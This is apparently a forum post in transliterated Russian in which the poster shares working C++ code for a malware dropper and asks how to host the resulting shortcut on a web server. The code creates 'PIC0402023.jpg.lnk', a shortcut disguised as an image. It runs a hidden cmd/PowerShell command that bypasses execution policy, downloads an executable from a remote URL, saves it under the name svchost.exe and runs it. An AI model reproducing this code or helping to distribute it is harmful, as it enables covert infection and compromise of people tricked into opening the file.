Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded
Код:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h>
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
IShellLinkW *psl;
HRESULT hres;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres) && psl)
{
WCHAR wszLnkArg[MAX_PATH];
wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");
psl->SetPath(L"%windir%\\System32\\cmd.exe");
psl->SetIconLocation(lpIconFile, iIconIndex);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(wszLnkArg);
IPersistFile *ppf;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres) && ppf)
{
ppf->Save(lpLnkFile, TRUE);
ppf->Release();
}
psl->Release();
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(2000);
CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);
return 0;
}
[/CODE